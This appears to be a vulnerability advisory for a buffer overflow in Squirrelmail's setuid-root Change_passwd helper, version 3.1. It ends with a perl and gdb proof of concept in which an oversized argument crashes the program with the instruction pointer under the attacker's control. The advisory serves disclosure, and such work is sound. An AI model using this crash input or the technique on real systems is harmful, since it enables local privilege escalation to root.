‘Squirrelmail Change_passwd Buffer Overflow’


Change Passwd plugin, is ‘a Squirrelmail plugin to allow your users to change his/her system password in /etc/passwd or /etc/shadow, the plugin uses a C program to make possible the alteration of the password’.

A buffer overflow vulnerability in the plugin allows local attackers that are able to call the plugin directly (usually only root and apache/nobody/etc are) to cause it to overflow an internal buffer and execute arbitrary code and gain elevated privileges (as the file is setuid root).’


‘The information has been provided by Matias Neiff.’


Vulnerable Systems:
 * Squirrelmail’s Change_passwd version 3.1

Vulnerable code:
The vulnerable code is inside main() function that neglects to verify whether the size of the buffer of the user provided data is not too large to the destination (when it calls the sprintf functions).

Proof of Concept:
# export RET=`perl -e ‘print ‘BCDE’.(‘A’x136).’0123”`
# gdb ./chpasswd
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This GDB was configured as ‘i386-linux’…
(gdb) r $RET a a
Starting program: /home/noam/change_passwd/chpasswd $RET a a


Program received signal SIGSEGV, Segmentation fault.
0x33323130 in ?? ()
(gdb) q

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